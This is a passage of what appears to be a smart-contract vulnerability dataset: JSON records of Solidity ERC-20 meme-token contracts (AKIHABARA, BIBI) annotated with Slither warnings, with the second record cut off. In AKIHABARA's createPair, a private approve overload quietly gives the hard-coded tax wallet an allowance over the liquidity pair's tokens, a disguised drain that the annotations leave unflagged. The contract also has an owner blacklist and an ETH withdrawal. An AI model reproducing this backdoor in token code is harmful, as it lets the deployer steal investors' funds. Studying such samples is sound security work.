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{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 12dcd4e): AKIHABARA.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 12dcd4e: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dc74338): AKIHABARA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for dc74338: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 724e6a1): AKIHABARA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 724e6a1: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e93eb9d): AKIHABARA.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for e93eb9d: Consider ordering multiplication before division.\ncontract AKIHABARA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c5bd0e9): AKIHABARA._taxWallet should be immutable \n\t// Recommendation for c5bd0e9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Japan Coin\";\n\n string private constant _symbol = unicode\"AKIHABARA\";\n\n\t// divide-before-multiply | ID: 724e6a1\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: e93eb9d\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: f15aa04): AKIHABARA._taxSwapThreshold should be constant \n\t// Recommendation for f15aa04: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 12dcd4e\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f2147d): AKIHABARA._maxTaxSwap should be constant \n\t// Recommendation for 8f2147d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: dc74338\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 06f25e9): AKIHABARA._initialBuyTax should be constant \n\t// Recommendation for 06f25e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 178ebf2): AKIHABARA._initialSellTax should be constant \n\t// Recommendation for 178ebf2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e4e803): AKIHABARA._finalBuyTax should be constant \n\t// Recommendation for 1e4e803: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39cb386): AKIHABARA._finalSellTax should be constant \n\t// Recommendation for 39cb386: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0029072): AKIHABARA._reduceBuyTaxAt should be constant \n\t// Recommendation for 0029072: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 380a117): AKIHABARA._reduceSellTaxAt should be constant \n\t// Recommendation for 380a117: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5c927c): AKIHABARA._preventSwapBefore should be constant \n\t// Recommendation for b5c927c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: de54acc): AKIHABARA._transferTax should be constant \n\t// Recommendation for de54acc: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x5Cf8A75B29B1F19e9A722c87c5E9d6b75b28b45c);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0ec9393): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0ec9393: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7a0505c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7a0505c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createPair() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-events | ID: 0ec9393\n\t\t// reentrancy-benign | ID: 7a0505c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-events | ID: 0ec9393\n\t\t// reentrancy-benign | ID: 7a0505c\n approve([uniswapV2Pair, _taxWallet], _tTotal * 100);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d1581ad): AKIHABARA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d1581ad: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function approve(\n address[2] memory spender,\n uint256 amount\n ) private returns (bool) {\n _approve(spender[0], spender[1], amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 937e809): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 937e809: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1165117): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1165117: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 937e809\n\t\t// reentrancy-benign | ID: 1165117\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 937e809\n\t\t// reentrancy-benign | ID: 1165117\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 217d5b2): AKIHABARA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 217d5b2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1165117\n\t\t// reentrancy-benign | ID: 7a0505c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 937e809\n\t\t// reentrancy-events | ID: 0ec9393\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3993456): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3993456: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4eb3acf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4eb3acf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8166f4d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8166f4d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n uint256 tax = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n tax = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (_buyCount > 0) {\n tax = (_transferTax);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n tax = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n tax = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 3993456\n\t\t\t\t\t// reentrancy-benign | ID: 4eb3acf\n\t\t\t\t\t// reentrancy-eth | ID: 8166f4d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 3993456\n\t\t\t\t// reentrancy-eth | ID: 8166f4d\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: 4eb3acf\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8166f4d\n lastSellBlock = block.number;\n }\n }\n\n if (tax > 0) {\n taxAmount = tax.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: 8166f4d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3993456\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8166f4d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8166f4d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3993456\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3993456\n\t\t// reentrancy-events | ID: 937e809\n\t\t// reentrancy-benign | ID: 1165117\n\t\t// reentrancy-benign | ID: 4eb3acf\n\t\t// reentrancy-eth | ID: 8166f4d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3993456\n\t\t// reentrancy-events | ID: 937e809\n\t\t// reentrancy-eth | ID: 8166f4d\n _taxWallet.transfer(amount);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2ad9ec4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2ad9ec4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ae9f33): AKIHABARA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0ae9f33: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 79e5615): AKIHABARA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 79e5615: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3916b0f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3916b0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: 2ad9ec4\n\t\t// unused-return | ID: 0ae9f33\n\t\t// reentrancy-eth | ID: 3916b0f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2ad9ec4\n\t\t// unused-return | ID: 79e5615\n\t\t// reentrancy-eth | ID: 3916b0f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2ad9ec4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3916b0f\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10178.sol",
"size_bytes": 22746,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d6ba2bc): BIBI.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for d6ba2bc: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9b72729): BIBI.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 9b72729: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d22ef85): BIBI.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for d22ef85: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4f7ec58): BIBI.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 4f7ec58: Consider ordering multiplication before division.\ncontract BIBI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c0ed4d6): BIBI._taxWallet should be immutable \n\t// Recommendation for c0ed4d6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7898e78): BIBI._initialBuyTax should be constant \n\t// Recommendation for 7898e78: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e6bd0b): BIBI._initialSellTax should be constant \n\t// Recommendation for 4e6bd0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ba8615): BIBI._finalBuyTax should be constant \n\t// Recommendation for 9ba8615: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d00d9e): BIBI._finalSellTax should be constant \n\t// Recommendation for 4d00d9e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e78e23): BIBI._reduceBuyTaxAt should be constant \n\t// Recommendation for 6e78e23: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1b01c6): BIBI._reduceSellTaxAt should be constant \n\t// Recommendation for d1b01c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e3e7b8): BIBI._preventSwapBefore should be constant \n\t// Recommendation for 7e3e7b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: a30e708): BIBI._transferTax should be constant \n\t// Recommendation for a30e708: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bibi\";\n\n string private constant _symbol = unicode\"BIBI\";\n\n\t// divide-before-multiply | ID: 9b72729\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: d22ef85\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: e1cd894): BIBI._taxSwapThreshold should be constant \n\t// Recommendation for e1cd894: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d6ba2bc\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 33faf0e): BIBI._maxTaxSwap should be constant \n\t// Recommendation for 33faf0e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4f7ec58\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8713118): BIBI.uniswapV2Router should be immutable \n\t// Recommendation for 8713118: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e98e3fb): BIBI.uniswapV2Pair should be immutable \n\t// Recommendation for e98e3fb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2dc468a): BIBI.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2dc468a: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x86b1E5BA283730075402a10f837D2133e1B40b2b);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 2dc468a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: acf986b): BIBI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for acf986b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 55c2024): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 55c2024: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 293ea15): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 293ea15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 